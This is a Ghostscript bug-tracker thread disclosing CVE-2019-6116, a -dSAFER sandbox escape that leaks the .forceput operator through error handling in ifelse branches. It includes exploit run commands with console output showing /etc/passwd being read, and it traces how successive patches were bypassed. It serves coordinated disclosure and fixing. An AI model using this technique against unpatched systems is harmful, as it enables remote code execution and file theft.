Created attachment 16472 [details] exploit I was quickly grepping through the changes in ghostscript 9.26 and noticed that not all the subroutines are pseudo-operators, for example: http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=Resource/Init/pdf_draw.ps;h=79733df451c1ecc0a71b08d10e5412ac3e243a9e;hb=gs926#l1123 1123 { 1124 currentglobal pdfdict gcheck .setglobal 1125 pdfdict /.Qqwarning_issued //true .forceput 1126 .setglobal 1127 pdfformaterror 1128 } ifelse The reason is obvious, it's an ephemeral routine passed to ifelse, but that is irrelevant, you can make ifelse fail via /stackoverflow or /execstackoverflow or whatever. Actually getting the precise operator to fail is tricky, but I got it to work: $ ./gs -sDEVICE=ppmraw -dSAFER -f ../../ghostscript-9.26/bin/test.ps GPL Ghostscript GIT PRERELEASE 9.27 (2018-11-20) Copyright (C) 2018 Artifex Software, Inc. All rights reserved. This software comes with NO WARRANTY: see the file PUBLIC for details. (Stage 0: PDFfile) (Stage 1: q) (Stage 3: oget) (Stage 4: pdfemptycount) (Stage 5: gput) (Stage 6: resolvestream) (Stage 7: pdfopdict) (Stage 8: .pdfruncontext) (Stage 9: pdfdict) (Stage 10: /stackoverflow) (\tLast Parameter:){(\n **** Error: File has unbalanced q/Q operators \(too many q's\)\n Output may be incorrect.\n) pdfdict /.Qqwarning_issued --.knownget-- {{--pop--} {--.currentglobal-- pdfdict --scheck-- --.setglobal-- pdfdict /.Qqwarning_issued true --.forceput-- --.setglobal-- pdfformaterror} --ifelse--} {--.currentglobal-- pdfdict --scheck-- --.setglobal-- pdfdict /.Qqwarning_issued true --.forceput-- --.setglobal-- pdfformaterror} --ifelse--} (\tExtracting .forceput...) (\tResult:)--.forceput-- (Stage 11: Exploitation...) (\tShould now have complete control over ghostscript, attempting to read /etc/passwd...) (root:x:0:0:root:/root:/bin/bash) (All Done) Therefore, this is a remote code execution vulnerability. This affects 9.26 and HEAD. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
Created attachment 16473 [details] .bashrc modifying exploit Here is an example exploit that patches .bashrc just for reference.
Any update on this issue? I'd like to help review the proposed fix if possible, just to think about the consequences. Are you planning to pull the ephemeral routines out and make them pseudo operators?
(In reply to Tavis Ormandy from comment #2) > Any update on this issue? I'd like to help review the proposed fix if > possible, just to think about the consequences. Are you planning to pull the > ephemeral routines out and make them pseudo operators? No, giving every single conditional clause a name would be totally impractical. I've sent a private e-mail with the proposed patch and an explanation.
Created attachment 16550 [details] /typecheck exploit Thanks Chris. I reviewed the proposed patch and pointed out that it only works for /stackoverflow, as I mentioned earlier it could be other errors as well. I sent Chris a full explanation over email, but commenting here just for future reference. Here is an exploit that uses /typecheck instead, it still works with the proposed patch. $ ./gs -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f ghostscript-926-forceput.ps GPL Ghostscript GIT PRERELEASE 9.27 (2018-11-20) Copyright (C) 2018 Artifex Software, Inc. All rights reserved. This software comes with NO WARRANTY: see the file PUBLIC for details. (Stage 0: PDFfile) (Stage 1: q) (Stage 3: oget) (Stage 4: pdfemptycount) (Stage 5: gput) (Stage 6: resolvestream) (Stage 7: pdfopdict) (Stage 8: .pdfruncontext) (Stage 9: pdfdict) Stage 10: /typecheck #1 Stage 10: /typecheck #2 (Stage 11: Exploitation...) ( Should now have complete control over ghostscript, attempting to read /etc/passwd...) (root:x:0:0:root:/root:/bin/bash)
Revised patches sent to Tavis.
Created attachment 16557 [details] /typecheck + executeonly exploit I reviewed the new patches, the solution was to mark all ephemeral routines executeonly, like this: { foo } executeonly { bar } executeonly ifelse That won't work because of bug 699816 - just being executeonly doesn't protect the contents unless it's a pseudo-op. I sent Chris a full explanation, and here is an updated exploit that works with executeonly branches. $ ./gs -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f ghostscript-926-forceput-typecheck-executeonly-example.ps GPL Ghostscript GIT PRERELEASE 9.27 (2018-11-20) Copyright (C) 2018 Artifex Software, Inc. All rights reserved. This software comes with NO WARRANTY: see the file PUBLIC for details. (Stage 0: PDFfile) (Stage 1: q) (Stage 3: oget) (Stage 4: pdfemptycount) (Stage 5: gput) (Stage 6: resolvestream) (Stage 7: pdfopdict) (Stage 8: .pdfruncontext) (Stage 9: pdfdict) Stage 10: /typecheck #1 Stage 10: /typecheck #2 (Stage 9: pdfdict) (Stage 9: pdfdict) Stage 10: /typecheck #3 (Stage 11: Exploitation...) ( Should now have complete control over ghostscript, attempting to read /etc/passwd...) (root:x:0:0:root:/root:/bin/bash)
There was a logic error in an earlier change which exposed the erroring operator in a way I *thought* was no longer possible - I've sent Tavis a patch with a fix for that.
After some discussion I think we have arrived at a comprehensive solution. Thanks Chris for all the work, this one turned out to be really tough to solve, the complete patchset is really non-trivial. It will require extra care writing postscript in future, I filed bug 700472 to think about ways to make sure this doesn't accidentally regress.
This is CVE-2019-6116
Created attachment 16755 [details] Address force operators exposure
The fixes for this are now public, thus I'm closing the bug.
(In reply to Chris Liddell (chrisl) from comment #11) > The fixes for this are now public, thus I'm closing the bug. Hi Chris, Questions about GhostScript Bug 700317: 1. Tavis' original post said: This affects 9.26 and HEAD. However, when we went out to NIST, CVE-2019-6116 said "Ghostscript through 9.26". Does it exist in GhostScript versions earlier than 9.26? 2. Has the fix for this been applied to 9.27 (just released yesterday, 4/3/2019)? Thanks, Philip
(In reply to Philip Tenn from comment #12) > (In reply to Chris Liddell (chrisl) from comment #11) > > The fixes for this are now public, thus I'm closing the bug. > > Hi Chris, > > Questions about GhostScript Bug 700317: > > 1. Tavis' original post said: This affects 9.26 and HEAD. > > However, when we went out to NIST, CVE-2019-6116 said "Ghostscript through > 9.26". > > Does it exist in GhostScript versions earlier than 9.26? Yes. > 2. Has the fix for this been applied to 9.27 (just released yesterday, > 4/3/2019)? Yes.